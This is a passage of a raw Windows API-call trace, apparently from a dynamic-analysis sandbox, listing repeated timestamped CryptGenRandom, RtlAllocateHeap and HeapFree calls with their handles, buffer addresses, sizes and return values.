(HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0137.020] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a854 | out: pbBuffer=0x366a854) returned 1 [0137.025] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366af5c | out: pbBuffer=0x366af5c) returned 1 [0137.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0137.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0137.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0137.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c4d70 [0137.056] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aa0c | out: pbBuffer=0x366aa0c) returned 1 [0137.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0137.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0137.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0137.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c4e38 [0137.061] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ac8c | out: pbBuffer=0x366ac8c) returned 1 [0137.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0137.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0137.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0137.070] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a494 | out: pbBuffer=0x366a494) returned 1 [0137.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0137.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0137.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0137.089] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a91c | out: pbBuffer=0x366a91c) returned 1 [0137.094] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a624 | out: pbBuffer=0x366a624) returned 1 [0137.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0137.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0137.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0137.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c4a28 [0137.109] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a714 | out: pbBuffer=0x366a714) returned 1 [0137.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0137.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0137.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0137.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c4b40 [0137.116] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8cc | out: pbBuffer=0x366a8cc) returned 1 [0137.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0137.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0137.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0137.120] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a444 | out: pbBuffer=0x366a444) returned 1 [0137.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0137.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0137.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0137.127] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8a4 | out: pbBuffer=0x366a8a4) returned 1 [0137.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0137.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0137.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0137.131] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a46c | out: pbBuffer=0x366a46c) returned 1 [0137.135] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a0ac | out: pbBuffer=0x366a0ac) returned 1 [0137.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0137.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0137.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0137.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c4ca8 [0137.139] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a584 | out: pbBuffer=0x366a584) returned 1 [0137.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0137.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0137.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0137.143] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a084 | out: pbBuffer=0x366a084) returned 1 [0137.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0137.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0137.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0137.149] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a05c | out: pbBuffer=0x366a05c) returned 1 [0137.158] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a14c | out: pbBuffer=0x366a14c) returned 1 [0137.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0137.159] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0137.159] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0137.159] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c4ca8 [0137.198] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a264 | out: pbBuffer=0x366a264) returned 1 [0137.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0137.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0137.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0137.228] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a28c | out: pbBuffer=0x366a28c) returned 1 [0137.235] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366acb4 | out: pbBuffer=0x366acb4) returned 1 [0137.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0137.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0137.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0137.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c4ca8 [0137.239] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ac14 | out: pbBuffer=0x366ac14) returned 1 [0137.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0137.240] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0137.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0137.245] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ada4 | out: pbBuffer=0x366ada4) returned 1 [0137.245] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0137.245] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0137.246] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0137.251] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ad54 | out: pbBuffer=0x366ad54) returned 1 [0137.256] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366afac | out: pbBuffer=0x366afac) returned 1 [0137.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0137.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0137.256] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0137.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c4ca8 [0137.260] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ae6c | out: pbBuffer=0x366ae6c) returned 1 [0137.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0137.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0137.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0137.266] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366afd4 | out: pbBuffer=0x366afd4) returned 1 [0137.266] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0137.266] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0137.266] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0137.269] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d674 | out: pbBuffer=0x366d674) returned 1 [0137.275] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d534 | out: pbBuffer=0x366d534) returned 1 [0137.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0137.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0137.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0137.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c4ca8 [0137.279] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d5d4 | out: pbBuffer=0x366d5d4) returned 1 [0137.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0137.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0137.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0137.307] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d494 | out: pbBuffer=0x366d494) returned 1 [0137.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0137.316] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d3cc | out: pbBuffer=0x366d3cc) returned 1 [0137.351] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d354 | out: pbBuffer=0x366d354) returned 1 [0137.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0137.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0137.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0137.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c4ca8 [0137.358] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d37c | out: pbBuffer=0x366d37c) returned 1 [0137.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0137.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0137.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0137.364] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d1c4 | out: pbBuffer=0x366d1c4) returned 1 [0137.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0137.365] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0137.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0137.407] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d264 | out: pbBuffer=0x366d264) returned 1 [0137.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0137.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0137.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0137.737] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d0fc | out: pbBuffer=0x366d0fc) returned 1 [0138.792] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668e94 | out: pbBuffer=0x3668e94) returned 1 [0138.893] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367182c | out: pbBuffer=0x367182c) returned 1 [0138.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0138.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0138.894] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0138.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f528 [0138.898] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36719bc | out: pbBuffer=0x36719bc) returned 1 [0138.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0138.950] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671994 | out: pbBuffer=0x3671994) returned 1 [0138.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0138.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0138.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0138.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f168 [0138.954] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367196c | out: pbBuffer=0x367196c) returned 1 [0138.958] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367191c | out: pbBuffer=0x367191c) returned 1 [0138.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0138.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0138.958] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0138.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f208 [0138.961] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671a5c | out: pbBuffer=0x3671a5c) returned 1 [0138.961] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0138.961] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0138.961] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0140.663] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671b74 | out: pbBuffer=0x3671b74) returned 1 [0140.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0140.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0140.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0140.669] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671b24 | out: pbBuffer=0x3671b24) returned 1 [0140.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0140.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0140.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0140.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f488 [0140.672] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671bc4 | out: pbBuffer=0x3671bc4) returned 1 [0140.672] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0140.672] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0140.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0140.672] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f370 [0140.676] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671c3c | out: pbBuffer=0x3671c3c) returned 1 [0140.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0140.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0140.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0140.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f190 [0140.679] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671d7c | out: pbBuffer=0x3671d7c) returned 1 [0140.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0140.708] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d2dc | out: pbBuffer=0x366d2dc) returned 1 [0140.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0140.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0140.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0140.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead28 [0140.718] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d214 | out: pbBuffer=0x366d214) returned 1 [0140.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0140.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0140.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0140.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead28 [0142.184] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d264 | out: pbBuffer=0x366d264) returned 1 [0142.184] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0142.184] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0142.184] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0142.195] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d28c | out: pbBuffer=0x366d28c) returned 1 [0142.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0142.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0142.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0142.199] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d1c4 | out: pbBuffer=0x366d1c4) returned 1 [0142.285] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d32c | out: pbBuffer=0x366d32c) returned 1 [0142.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0142.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0142.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0142.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eabc0 [0143.372] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d23c | out: pbBuffer=0x366d23c) returned 1 [0143.378] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d46c | out: pbBuffer=0x366d46c) returned 1 [0143.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0143.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0143.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0143.379] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8c8 [0143.384] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d3cc | out: pbBuffer=0x366d3cc) returned 1 [0143.384] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0143.384] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0143.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0143.389] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d584 | out: pbBuffer=0x366d584) returned 1 [0143.389] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0143.390] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0143.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0143.390] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaa30 [0143.426] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d494 | out: pbBuffer=0x366d494) returned 1 [0143.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0143.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0143.426] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0143.429] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d5ac | out: pbBuffer=0x366d5ac) returned 1 [0143.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0143.433] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d5d4 | out: pbBuffer=0x366d5d4) returned 1 [0143.437] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d764 | out: pbBuffer=0x366d764) returned 1 [0143.437] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0143.437] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0143.437] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0143.437] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea9e0 [0143.454] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d534 | out: pbBuffer=0x366d534) returned 1 [0143.459] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d64c | out: pbBuffer=0x366d64c) returned 1 [0143.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0143.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0143.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0143.463] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d674 | out: pbBuffer=0x366d674) returned 1 [0143.463] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0143.463] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0143.463] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0143.463] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8c8 [0143.466] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d624 | out: pbBuffer=0x366d624) returned 1 [0143.466] RtlAllocateHeap 